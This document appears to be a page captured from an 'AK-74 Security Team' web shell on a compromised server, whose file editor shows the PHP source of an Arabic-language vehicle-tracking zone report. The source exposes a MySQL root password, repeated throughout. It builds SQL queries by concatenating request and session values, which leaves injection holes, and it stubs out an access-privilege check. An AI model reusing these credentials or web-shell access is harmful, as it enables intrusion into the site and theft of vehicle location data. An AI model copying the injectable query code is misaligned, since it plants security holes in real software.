.:: :[ AK-74 Security Team Web-shell ]: ::.
General information
File manager
phpinfo()
Run PHP
Execute the command
Edit the file
<? session_start(); include ('init.php'); include ('func/fn_common.php'); checkUserSession(); //loadLanguage($gsValues['LANGUAGE']); //setUserSessionSettings($_SESSION["user_id"]); //setUserSessionUnits(); //echo $_SESSION['user_id']; //die(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" /> <!-- Load jQuery JS --> <script src="http://code.jquery.com/jquery-1.9.1.js"></script> <!-- Load jQuery UI Main JS --> <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script> <script> /* jQuery ready function. Specify a function to execute when the DOM is fully loaded. */ $(document).ready( /* This is the function that will get executed after the DOM is fully loaded */ function(){ $("#datepicker").datepicker( {dateFormat: 'yy-mm-dd'} ); $("#datepicker2").datepicker( {dateFormat: 'yy-mm-dd'} ); $('#select_all').click(function() { if($("#select_all input[type=checkbox]:checked")) { selectAll('selectbox1', true); } else{ } }); $('#select_all2').click(function() { if($("#select_all2 input[type=checkbox]:checked")) { selectAll('selectbox2', true); } else{ } }); }); </script> <title>Henditech</title> <style type="text/css"> html, body { margin: 10px; padding: 0px; font: normal 11px Verdana, sans-serif; color: #000; } h3 { font: normal 13px Verdana, sans-serif; font-weight: bold; } hr { border-color:#cccccc; border-style:solid none none; border-width:1px 0 0; height:1px; margin-left:1px; margin-right:1px; } a:link, a:visited { text-decoration: none; color: #004c8c; } a:active { color: #004c8c; } a:hover { text-decoration: underline; color: #004c8c; } caption, th, td { vertical-align: middle; font: normal 11px Arial, sans-serif; } table.report { font-family: Arial, sans-serif; font-size:11px; color:#333333; border-width: 1px; border-color: #eeeeee; border-collapse: collapse; } table.report th { font-weight: bold; border-width: 1px; padding: 2px; border-style: solid; border-color: #eeeeee; background-color: #eeeeee; } table.report td { border-width: 1px; padding: 2px; border-style: solid; border-color: #eeeeee; } table.report tr:hover { background-color: #F6F6F6; } td { mso-number-format:"@";/*force text*/ } .graph_button { float: left; top: 0px; display: block; height: 20px; width: 20px; padding-top: 0px; padding-bottom: 0px; padding-left: 2px; padding-right: 2px; } .graph_button:active { margin-top: 1px; } </style> </head> <body> <?php $select = "select * from gs_user_objects where user_id = '" . $_SESSION['user_id']. "'"; set_time_limit(5000);$con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $result = mysqli_query($con, $select); $select2 = "select * from gs_user_zones where user_id = '" . $_SESSION['user_id']. "'"; set_time_limit(5000); $con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $result2 = mysqli_query($con, $select2); function objectname($imei){ $query = "SELECT name FROM `gs_objects` WHERE `imei`='" . $imei . "'"; $con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $res = mysqli_query($con, $query); $r = mysqli_fetch_array($res); return $r['name']; } ?> <form action='' method="post" id='for'> <table> <tr> <td>From</td> <td><input type="text" name="dtf" id="datepicker" ></td> </tr> <tr> <td>To</td> <td><input type="text" name="dtt" id="datepicker2" ></td> </tr> </table> <fieldset style="width:176px; height: 395px; display:inline-block;"> <legend>أجهزة</legend> <input type="checkbox" id="select_all" name="select_all" >كل السيارات <select name="imei[]" id="selectbox1" multiple dir="ltr" lang="ar" style="width:150px;height:90%"> <?php while ($row = mysqli_fetch_array($result)) { ?> <option value="<?php echo $row['imei']; ?>"><?php echo objectname($row['imei']); ?></option> <?php } ?> </select> </fieldset> <fieldset style="width:176px; height: 395px; display:inline-block;"> <input type="checkbox" id="select_all2" name="select_all">كل المناطق <legend>المناطق</legend> <select name="zone_ids[]" id="selectbox2" multiple dir="ltr" lang="ar" style="width:150px;height:90%"> <?php while ($row2 = mysqli_fetch_array($result2)) { ?> <option value="<?php echo $row2['zone_id']; ?>"><?php echo $row2['zone_name']; ?></option> <?php } ?> </select> </fieldset> <input type="submit" value=">>"> </form> <?php if (!empty($_POST['imei'])||!empty($_POST['zone_ids'])||!empty($_POST['dtt'])||!empty($_POST['dtf'])) { set_time_limit(3000); // session_start(); $dtf = $_POST['dtf']; $dtt = $_POST['dtt']; $show_addresses = false; if($dtf>$dtt ||empty($_POST['imei'])||empty($_POST['zone_ids'])||empty($dtf)||empty($dtt)){ die("<br /><B><span style='color:red'>مدخلات تقرير خطأ</span></B>"); } $imei = implode(",", $_POST['imei']); $zone_ids = implode(",", $_POST['zone_ids']); ?> <script> $(document).ready(function(){ if($("#select_all input[type=checkbox]:checked")){ selectAll('selectbox1',true); } if ($('.chk1').length) { $("#count").text($('.chk1').length); }else{ //$("#dvData").hide(); //$("#header").hide(); // window.location.href = "/municipality/maintenance/zones.php"; $('#noresult').show(); $("#count").text('0'); } }); </script> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr align="center"> <td width="200px"><p align="right">تاريخ الانشاء <?php echo date("m-d-Y");?></p> <p align="right">عدد السيارات <span id="count" style="color:red"></span>/<?php echo getcount();?> </p></td> <td><div align="center"><a href="http://www.digimapavl.com" target="_blank"><img src="logo.png" width="60" height="50" style="padding-left: 21px; padding-bottom: 10px;"></img> </a><br> <a style="padding-left:20px;" HREF="navgiator.php" title="back"><img src="icon_go_back.png" width="20" height="20"></a> <a HREF="javascript:window.print()" title="طباعه"><img src="printer.png" width="20" height="20"></a> <a onclick="tableToExcel('dvData', '<?php echo 'municipality_Zones' .date("20y-m-d"); ?>')" title="تصدير اكسيل"><img src="xls.png" width="20" height="20"></img></a> </div></td> <td width="250px"> <p align="right">الخريطة الرقمية لتتبع المركبات</p> <p align="right">تقرير دخول المناطق </p> <p align="right">من تاريخ <?php echo date("m-d-Y", strtotime($dtf));?> الى تاريخ <?php echo date("m-d-Y", strtotime($dtt));?> </p></td></tr> </table> <!--2nd table--> <table width="100%" border="1" id="dvData"> <tbody> <tr > <td bgcolor="#0000FF" width="250px"><div align="right" class="style1"> <div align="right" style="font-size: 14px;color:white;">المده</div> </div></td> <td bgcolor="#0000FF" width="250px"><div align="right" class="style1"> <div align="right" style="font-size: 14px;color:white;">تاريخ الدخول</div> </div></td> <td bgcolor="#0000FF" width="150px"><div align="right" class="style1"> <div align="right" style="font-size: 14px;color:white;">المنطقه</div> </div></td> <td bgcolor="#0000FF" width="250px"><div align="right" class="style1"> <div align="right" style="font-size: 14px;color:white;">السيارة</div> </div></td> </tr> <tr id="noresult" style="display: none;"> <td width="250px"><div align="right" class="style1"> لا يوجد</div></td> <td width="250px"><div align="right" class="style1">لا يوجد </div></td> <td width="250px"><div align="right" class="style1"> لا يوجد</div></td> <td width="250px"><div align="right" class="style1"> لا توجد سيارات مطابقه لمدخلات التقرير </div></td> </tr> <? $imeis = explode(",", $imei); $result = ''; for ($i = 0; $i < count($imeis); ++$i) { $imei = $imeis[$i]; $res = reportsGenerateZoneInOut($imei, convUserUTCTimezone($dtf), convUserUTCTimezone($dtt), $show_addresses, $zone_ids); if ($res) { ?> <style> #for{ display:none; } </style> <? } print_r($res); }?> </tbody> </table> <br /> <?php } ?> <?php function reportsGenerateZoneInout($imei, $dtf, $dtt, $show_addresses, $zone_ids) { //ZONE_IN_OUT global $_SESSION, $la, $user_id; $la['NA'] = 'n/a'; $zone_ids = explode(",", $zone_ids); $accuracy = getObjectAccuracy($imei); $route = getRouteRaw($imei, $accuracy, $dtf, $dtt); //$route = removeRouteFakeCoordinates($route, array()); $q = "SELECT * FROM `gs_user_zones` WHERE `user_id`=481"; $con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $r = mysqli_query($con, $q); $zones = array(); while ($row = mysqli_fetch_array($r)) { if (in_array($row['zone_id'], $zone_ids)) { $zones[] = array($row['zone_id'], $row['zone_name'], $row['zone_vertices']); } } if ((count($route) == 0) || (count($zones) == 0)) { $result = ''; //return '<table><tr><td>' . $la['NOTHING_HAS_BEEN_FOUND_ON_YOUR_REQUEST'] . '</td></tr></table>'; } $in_zones = array(); $in_zone = 0; for ($i = 0; $i < count($route); ++$i) { $point_lat = $route[$i][1]; $point_lng = $route[$i][2]; for ($j = 0; $j < count($zones); ++$j) { $zone_id = $zones[$j][0]; $zone_name = $zones[$j][1]; $zone_vertices = $zones[$j][2]; $isPointInPolygon = isPointInPolygon($zone_vertices, $point_lat, $point_lng); if ($isPointInPolygon) { if ($in_zone == 0) { $in_zone_start = $route[$i][0]; $in_zone_name = $zone_name; $in_zone_lat = $point_lat; $in_zone_lng = $point_lng; $in_zone = $zone_id; } } else { if ($in_zone == $zone_id) { $in_zone_end = $route[$i][0]; $in_zone_duration = getTimeDifferenceDetails($in_zone_start, $in_zone_end); $in_zone = 0; $in_zones[] = array($in_zone_start, $in_zone_end, $in_zone_duration, $in_zone_name, $in_zone_lat, $in_zone_lng ); } } } } // add last zone record if it did not leave if ($in_zone != 0) { $in_zones[] = array($in_zone_start, $la['NA'], $la['NA'], $in_zone_name, $in_zone_lat, $in_zone_lng ); } if (count($in_zones) == 0) { $result = ''; //return '<table><tr><td>' . $la['NOTHING_HAS_BEEN_FOUND_ON_YOUR_REQUEST'] . '</td></tr></table>'; } $la['ZONE_NAME'] = "المنطقه"; $la['DURATION'] = "المده"; $la['ZONE_in'] = "تاريخ الدخول"; $la['ZONE_POSITION'] = "الاحدثيات"; $la['OBJECT'] = "السياره"; if (count($in_zones) == 0) { $result = ''; } $result=null; for ($i = 0; $i < count($in_zones); ++$i) { if ($in_zones[$i][1] == 'n/a') { $result.= ' <tr align="center" class="chk1"> <td><div align="right">السياره ما زالت موجوده فى المنطقه</div></td> <td><div align="right">' . $in_zones[$i][0] . '</div></td> <td><div align="right">' . $in_zones[$i][3] . '</div></td> <th><div align="right">'.objectname($imei) .'</div></th> </tr>'; } if ($in_zones[$i][1] != 'n/a') { $result.= ' <tr align="center" class="chk1"> <td><div align="right">' . $in_zones[$i][2] . 'السيارت خرجت من المنطقه المحدده واخذت وقت</div></td> <td><div align="right">' . $in_zones[$i][0] . '</div></td> <td><div align="right">' . $in_zones[$i][3] . '</div></td> <th><div align="right">'.objectname($imei).'</div></th> </tr>'; } } $result.="<script> $(document).ready(function() { if (!$('table').length){ $('hr').html('<h2>لا يوجد سيارات مطابقه للبحث فى هذا التقرير </h2>'); } }); </script>"; return $result; } ////get rout ahmed el gohary/// function getRoute($imei, $date_time_from, $date_time_to, $min_stop_duration, $filter) { $accuracy = getObjectAccuracy($imei); $result = array(); $result['route'] = array(); $result['stops'] = array(); $result['drives'] = array(); $result['events'] = array(); if (checkObjectActive($imei) != true) { return $result; } $route = getRouteRaw($imei, $accuracy, $date_time_from, $date_time_to); if (count($route) > 0) { // get object fuel rates $fcr = getObjectFCR($imei); // get ACC sensor $sensor = getObjectSensorFromType($imei, 'acc'); $acc = $sensor[0]['param']; // filter jumping cordinates if ($filter == true) { $route = removeRouteJunkPoints($route, $accuracy, array()); } $result['route'] = $route; // create stops if ($accuracy['stops'] == 'gpsacc') { $result['stops'] = getRouteStopsGPSACC($route, $accuracy, $min_stop_duration, $acc); } else if ($accuracy['stops'] == 'acc') { $result['stops'] = getRouteStopsACC($route, $accuracy, $min_stop_duration, $acc); } else { $result['stops'] = getRouteStopsGPS($route, $accuracy, $min_stop_duration, $acc); } // create drives $result['drives'] = getRouteDrives($route, $accuracy, $result['stops'], $fcr, $acc); // load events $result['events'] = getRouteEvents($imei, $date_time_from, $date_time_to); // count route_length $result['route_length'] = 0; for ($i = 0; $i < count($result['drives']); ++$i) { $result['route_length'] += $result['drives'][$i][4]; } // count top speed $result['top_speed'] = 0; for ($i = 0; $i < count($result['drives']); ++$i) { if ($result['top_speed'] < $result['drives'][$i][5]) { $result['top_speed'] = $result['drives'][$i][5]; } } // count avg speed $result['avg_speed'] = 0; for ($i = 0; $i < count($result['drives']); ++$i) { $result['avg_speed'] += $result['drives'][$i][6]; } if (count($result['drives']) > 0) { $result['avg_speed'] = floor($result['avg_speed'] / count($result['drives'])); } // count fc $result['fuel_consumption'] = 0; for ($i = 0; $i < count($result['drives']); ++$i) { $result['fuel_consumption'] += $result['drives'][$i][7]; } // count stops duration $result['stops_duration'] = 0; for ($i = 0; $i < count($result['stops']); ++$i) { $diff = strtotime($result['stops'][$i][7]) - strtotime($result['stops'][$i][6]); $result['stops_duration'] += $diff; } $result['stops_duration'] = getTimeDetails($result['stops_duration']); // count drives duration and engine work $result['drives_duration'] = 0; $result['engine_work'] = 0; for ($i = 0; $i < count($result['drives']); ++$i) { $diff = strtotime($result['drives'][$i][2]) - strtotime($result['drives'][$i][1]); $result['drives_duration'] += $diff; if ($acc != false) { $result['engine_work'] += $diff; } } $result['drives_duration'] = getTimeDetails($result['drives_duration']); // prepare full engine work and idle info $result['engine_idle'] = 0; //for ($i=0; $i<count($result['drives']); ++$i) //{ // $result['engine_work'] += $result['drives'][$i][8]; // $result['drives'][$i][8] = getTimeDetails($result['drives'][$i][8]); //} for ($i = 0; $i < count($result['stops']); ++$i) { $result['engine_idle'] += $result['stops'][$i][9]; $result['stops'][$i][9] = getTimeDetails($result['stops'][$i][9]); } // set total engine work and idle $result['engine_work'] += $result['engine_idle']; $result['engine_work'] = getTimeDetails($result['engine_work']); $result['engine_idle'] = getTimeDetails($result['engine_idle']); } return $result; } function getObjectAccuracy1($imei) { global $gsValues; $q = "SELECT * FROM `gs_objects` WHERE `imei`='" . $imei . "'"; $con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $r = mysqli_query($con, $q); $row = mysqli_fetch_array($r, MYSQL_ASSOC); $gsValues['ACCURACY'] = 'gps,6,0.0005,false,5,false,3,10,10'; // set default accuracy if not set in DB if ($row['accuracy'] == '') { $row['accuracy'] = $gsValues['ACCURACY']; } $temp = explode(",", $row['accuracy']); $accuracy = array(); $accuracy['stops'] = $temp[0]; $accuracy['min_moving_speed'] = $temp[1]; $accuracy['min_diff_points'] = $temp[2]; $accuracy['use_gpslev'] = $temp[3]; $accuracy['min_gpslev'] = $temp[4]; $accuracy['use_hdop'] = $temp[5]; $accuracy['max_hdop'] = $temp[6]; $accuracy['min_ff'] = $temp[7]; $accuracy['min_ft'] = $temp[8]; return $accuracy; } function getRouteRaw($imei, $accuracy, $date_time_from, $date_time_to) { // if (!checkUserToObjectPrivileges($imei)) // { // return; // } $route = array(); $q = "SELECT DISTINCT dt_tracker, lat, lng, altitude, angle, speed, params FROM `gs_object_data_" . $imei . "` WHERE dt_tracker BETWEEN '" . $date_time_from . "' AND '" . $date_time_to . "' ORDER BY dt_tracker ASC";$con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $r = mysqli_query($con, $q); while ($route_data = mysqli_fetch_array($r, MYSQLI_ASSOC)) { $dt_tracker = convUserTimezone($route_data['dt_tracker']); $lat = $route_data['lat']; $lng = $route_data['lng']; $altitude = $route_data['altitude']; $angle = $route_data['angle']; $speed = $route_data['speed']; $params = $route_data['params']; $arr_params['gpslev'] = 0; $accuracy['min_gpslev'] = 0; $arr_params['hdop'] = 0; $accuracy['max_hdop'] = 0; if ($arr_params['gpslev'] >= $accuracy['min_gpslev'] && $arr_params['hdop'] <= $accuracy['max_hdop']) { if (($lat != 0) && ($lng != 0)) { $route[] = array($dt_tracker, $lat, $lng, $altitude, $angle, $speed, $params); } } } return $route; } function checkUserToObjectPrivileges1($imei) { return true; } function getRouteStopsGPSACC($route, $accuracy, $min_stop_duration, $acc) { $stops = array(); $stoped = 0; $min_moving_speed = $accuracy['min_moving_speed']; for ($i = 0; $i < count($route); ++$i) { $arr_params = paramsToArray($route[$i][6]); if (!isset($arr_params[$acc])) { $arr_params[$acc] = ''; } $stop_speed = $route[$i][5]; if ((($stop_speed <= $min_moving_speed) && ($i < count($route) - 1)) || (($arr_params[$acc] == '0') && ($i < count($route) - 1))) { if ($stoped == 0) { $start_id = $i; $stop_start = $route[$i][0]; $stop_lat = $route[$i][1]; $stop_lng = $route[$i][2]; $stop_altitude = $route[$i][3]; $stop_angle = $route[$i][4]; $stop_params = $route[$i][6]; $stoped = 1; } } else { if ($stoped == 1) { $end_id = $i; $stop_end = $route[$i][0]; $stop_duration = getTimeDifferenceDetails($stop_start, $stop_end); $stop_engine_hours = getRouteEngineHours($route, $start_id, $end_id, $acc); $time_diff = strtotime($stop_end) - strtotime($stop_start); if ($time_diff > ($min_stop_duration * 60)) { $stops[] = array($start_id, $end_id, $stop_lat, $stop_lng, $stop_altitude, $stop_angle, $stop_start, $stop_end, $stop_duration, $stop_engine_hours, $stop_params, ); } $stoped = 0; } } } return $stops; } function getRouteStopsACC($route, $accuracy, $min_stop_duration, $acc) { $stops = array(); $stoped = 0; for ($i = 0; $i < count($route); ++$i) { $arr_params = paramsToArray($route[$i][6]); if (!isset($arr_params[$acc])) { $arr_params[$acc] = ''; } if (($arr_params[$acc] == '0') && ($i < count($route) - 1)) { if ($stoped == 0) { $start_id = $i; $stop_start = $route[$i][0]; $stop_lat = $route[$i][1]; $stop_lng = $route[$i][2]; $stop_altitude = $route[$i][3]; $stop_angle = $route[$i][4]; $stop_params = $route[$i][6]; $stoped = 1; } } else { if ($stoped == 1) { $end_id = $i; $stop_end = $route[$i][0]; $stop_duration = getTimeDifferenceDetails($stop_start, $stop_end); //$stop_engine_hours = getRouteEngineHours($route, $start_id, $end_id, $acc); $stop_engine_hours = '0'; // because Stop is detected by ACC $time_diff = strtotime($stop_end) - strtotime($stop_start); if ($time_diff > ($min_stop_duration * 60)) { $stops[] = array($start_id, $end_id, $stop_lat, $stop_lng, $stop_altitude, $stop_angle, $stop_start, $stop_end, $stop_duration, $stop_engine_hours, $stop_params ); } $stoped = 0; } } } return $stops; } function getRouteStopsGPS($route, $accuracy, $min_stop_duration, $acc) { $stops = array(); $stoped = 0; $min_moving_speed = $accuracy['min_moving_speed']; for ($i = 0; $i < count($route); ++$i) { $stop_speed = $route[$i][5]; if (($stop_speed <= $min_moving_speed) && ($i < count($route) - 1)) { if ($stoped == 0) { $start_id = $i; $stop_start = $route[$i][0]; $stop_lat = $route[$i][1]; $stop_lng = $route[$i][2]; $stop_altitude = $route[$i][3]; $stop_angle = $route[$i][4]; $params = $route[$i][6]; $stoped = 1; } } else { if ($stoped == 1) { $end_id = $i; $stop_end = $route[$i][0]; $stop_duration = getTimeDifferenceDetails($stop_start, $stop_end); $stop_engine_hours = getRouteEngineHours($route, $start_id, $end_id, $acc); $time_diff = strtotime($stop_end) - strtotime($stop_start); if ($time_diff > ($min_stop_duration * 60)) { $stops[] = array($start_id, $end_id, $stop_lat, $stop_lng, $stop_altitude, $stop_angle, $stop_start, $stop_end, $stop_duration, $stop_engine_hours, $params ); } $stoped = 0; } } } return $stops; } function getRouteDrives($route, $accuracy, $stops, $fcr, $acc) { $drives = array(); if (count($stops) == 0) { // moving between start and end marker if no stops $start_s_id = 0; $start_id = 0; $end_id = count($route); $dt_start_s = $route[$start_s_id][0]; $dt_start = $route[$start_id][0]; $dt_end = $route[$end_id - 1][0]; if ($dt_start != $dt_end) { $moving_duration = getTimeDifferenceDetails($dt_start, $dt_end); $route_length = getRouteLength($route, $start_id, $end_id); $top_speed = getRouteTopSpeed($route, $start_id, $end_id); $avg_speed = getRouteAvgSpeed($route, $start_id, $end_id); $fuel_consumption = getRouteFuelConsumption($route, $start_id, $end_id, $fcr); $engine_work = getRouteEngineHours($route, $start_id, $end_id, $acc); $drives[] = array($dt_start_s, $dt_start, $dt_end, $moving_duration, $route_length, $top_speed, $avg_speed, $fuel_consumption, $engine_work); } } else { // moving between start and first stop $start_s_id = 0; $start_id = 0; $end_id = $stops[0][0]; if ($end_id != 0) { $dt_start_s = $route[$start_s_id][0]; $dt_start = $route[$start_id][0]; $dt_end = $route[$end_id][0]; if ($dt_start != $dt_end) { $moving_duration = getTimeDifferenceDetails($dt_start, $dt_end); $route_length = getRouteLength($route, $start_s_id, $end_id); $top_speed = getRouteTopSpeed($route, $start_s_id, $end_id); $avg_speed = getRouteAvgSpeed($route, $start_s_id, $end_id); $fuel_consumption = getRouteFuelConsumption($route, $start_s_id, $end_id, $fcr); $engine_work = getRouteEngineHours($route, $start_id, $end_id, $acc); $drives[] = array($dt_start_s, $dt_start, $dt_end, $moving_duration, $route_length, $top_speed, $avg_speed, $fuel_consumption, $engine_work); } } // moving between end and last stop $start_s_id = $stops[count($stops) - 1][0]; $start_id = $stops[count($stops) - 1][1]; $end_id = count($route); if ($start_id != $end_id - 1) { $dt_start_s = $route[$start_s_id][0]; $dt_start = $route[$start_id][0]; $dt_end = $route[$end_id - 1][0]; if ($dt_start != $dt_end) { $moving_duration = getTimeDifferenceDetails($dt_start, $dt_end); $route_length = getRouteLength($route, $start_s_id, $end_id); $top_speed = getRouteTopSpeed($route, $start_s_id, $end_id); $avg_speed = getRouteAvgSpeed($route, $start_s_id, $end_id); $fuel_consumption = getRouteFuelConsumption($route, $start_s_id, $end_id, $fcr); $engine_work = getRouteEngineHours($route, $start_id, $end_id, $acc); $drives[] = array($dt_start_s, $dt_start, $dt_end, $moving_duration, $route_length, $top_speed, $avg_speed, $fuel_consumption, $engine_work); } } } // moving between stops for ($i = 0; $i < count($stops) - 1; ++$i) { $start_s_id = $stops[$i][0]; $start_id = $stops[$i][1]; $end_id = $stops[$i + 1][0]; $dt_start_s = $route[$start_s_id][0]; $dt_start = $route[$start_id][0]; $dt_end = $route[$end_id][0]; if ($dt_start != $dt_end) { $moving_duration = getTimeDifferenceDetails($dt_start, $dt_end); $route_length = getRouteLength($route, $start_s_id, $end_id); $top_speed = getRouteTopSpeed($route, $start_s_id, $end_id); $avg_speed = getRouteAvgSpeed($route, $start_s_id, $end_id); $fuel_consumption = getRouteFuelConsumption($route, $start_s_id, $end_id, $fcr); $engine_work = getRouteEngineHours($route, $start_id, $end_id, $acc); $drives[] = array($dt_start_s, $dt_start, $dt_end, $moving_duration, $route_length, $top_speed, $avg_speed, $fuel_consumption, $engine_work); } } return $drives; } function convUserTimezone1($dt) { if ($dt != "0000-00-00 00:00:00") { $dt = date("Y-m-d H:i:s", strtotime($dt . $_SESSION["timezone"])); } return $dt; } function convUserUTCTimezone1($dt) { $_SESSION["timezone"] = '+ 3 hour'; if (substr($_SESSION["timezone"], 0, 1) == "+") { $timezone_diff = str_replace("+", "-", $_SESSION["timezone"]); } else { $timezone_diff = str_replace("-", "+", $_SESSION["timezone"]); } return date("Y-m-d H:i:s", strtotime($dt . $timezone_diff)); } function isPointInPolygon1($vertices, $lat, $lng) { $polyX = array(); $polyY = array(); $ver_arr = explode(',', $vertices); $polySides = 0; $i = 0; while ($i < sizeof($ver_arr)) { $polyX[] = $ver_arr[$i + 1]; $polyY[] = $ver_arr[$i]; $i+=2; $polySides++; } $j = $polySides - 1; $oddNodes = 0; for ($i = 0; $i < $polySides; $i++) { if ($polyY[$i] < $lat && $polyY[$j] >= $lat || $polyY[$j] < $lat && $polyY[$i] >= $lat) { if ($polyX[$i] + ($lat - $polyY[$i]) / ($polyY[$j] - $polyY[$i]) * ($polyX[$j] - $polyX[$i]) < $lng) { $oddNodes = !$oddNodes; } } $j = $i; } return $oddNodes; } function reportsGetPossition($lat, $lng, $show_addresses) { $position = ''; if ($show_addresses == 'true') { //usleep(150000); $position = geocoderGetAddress($lat, $lng); $position = '<a href="http://maps.google.com/maps?q=' . $lat . ',' . $lng . '&t=m" target="_blank">' . $lat . ' °, ' . $lng . ' °</a> - ' . $position; } else { $position = '<a href="http://maps.google.com/maps?q=' . $lat . ',' . $lng . '&t=m" target="_blank">' . $lat . ' °, ' . $lng . ' °</a>'; } return $position; } function getPlaceName($latitude, $longitude) { echo "<a href='http://maps.google.com/maps?q=$latitude,$longitude&t=m' target='_blank' style='text-decoration:none'>$latitude °, $longitude°</a>"; } /// // function getPlaceName($latitude, $longitude) { // //This below statement is used to send the data to google maps api and get the place // //name in different formats. we need to convert it as required. // $geocode = file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?latlng=' // . $latitude . ',' . $longitude . '&sensor=false&language=ar'); // $output = json_decode($geocode); // //Here "formatted_address" is used to display the address in a user friendly format. // if (!empty($output->results[0]->formatted_address)) // // echo $output->results[0]->formatted_address; // echo "<a href='http://maps.google.com/maps?q=$latitude,$longitude&t=m' target='_blank' style='text-decoration:none'>" . $output->results[0]->formatted_address . "</a>"; // else { // $geocode2 = file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?latlng=' // . $latitude . ',' . $longitude . '&sensor=false'); // $output = json_decode($geocode2); // if (!empty($output->results[0]->formatted_address)) // echo "<a href='http://maps.google.com/maps?q=$latitude,$longitude&t=m' target='_blank' style='text-decoration:none'>" . $output->results[0]->formatted_address . "</a>"; // else { // echo "<a href='http://maps.google.com/maps?q=$latitude,$longitude&t=m' target='_blank' style='text-decoration:none'>$latitude °, $longitude°</a>"; // } // } // } //// function getTimeDifferenceDetails1($start_date, $end_date) { $diff = strtotime($end_date) - strtotime($start_date); return getTimeDetails($diff); } //// function getTimeDetails1($sec) { $seconds = 0; $hours = 0; $minutes = 0; if ($sec % 86400 <= 0) { $days = $sec / 86400; } if ($sec % 86400 > 0) { $rest = ($sec % 86400); $days = ($sec - $rest) / 86400; if ($rest % 3600 > 0) { $rest1 = ($rest % 3600); $hours = ($rest - $rest1) / 3600; if ($rest1 % 60 > 0) { $rest2 = ($rest1 % 60); $minutes = ($rest1 - $rest2) / 60; $seconds = $rest2; } else { $minutes = $rest1 / 60; } } else { $hours = $rest / 3600; } } $_SESSION["unit_day_string"] = 'Days'; $_SESSION["unit_hour_string"] = 'h'; $_SESSION["unit_second_string"] = 's'; if ($days > 0) { $days = $days . ' ' . $_SESSION["unit_day_string"] . ' '; } else { $days = false; } if ($hours > 0) { $hours = $hours . ' ' . $_SESSION["unit_hour_string"] . ' '; } else { $hours = false; } if ($minutes > 0) { $minutes = $minutes . ' m '; } else { $minutes = false; } $seconds = $seconds . ' ' . $_SESSION["unit_second_string"]; return $days . '' . $hours . '' . $minutes . '' . $seconds; } /* function getObjectName($user_id, $imei) { $query = "SELECT name FROM `gs_objects` WHERE `imei`='" . $imei . "'"; $con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $r = mysqli_query($con, $q); $row = mysqli_fetch_array($r, MYSQL_ASSOC); return $row['name']; }*/ function getcount(){ $q = "SELECT * FROM `gs_user_objects` WHERE `user_id`='" . $_SESSION['user_id']. "'"; $con = mysqli_connect("localhost", "root", "4c>5:kxUd8YN8,LK", "gs"); mysqli_set_charset($con, 'utf8'); $r = mysqli_query($con, $q); $num_rows = mysqli_num_rows($r); return $num_rows; } ?> <script type="text/javascript"> function selectAll(selectBox,selectAll) { // have we been passed an ID if (typeof selectBox == "string") { selectBox = document.getElementById(selectBox); } // is the select box a multiple select box? if (selectBox.type == "select-multiple") { for (var i = 0; i < selectBox.options.length; i++) { selectBox.options[i].selected = selectAll; } } } var tableToExcel = (function() { var uri = 'data:application/vnd.ms-excel;base64,' , template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines/></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--></head><body><table>{table}</table></body></html>' , base64 = function(s) { return window.btoa(unescape(encodeURIComponent(s))) } , format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = {worksheet: name || 'Worksheet', table: table.innerHTML} window.location.href = uri + base64(format(template, ctx)) } })() </script> </body> </html>
Rename:
-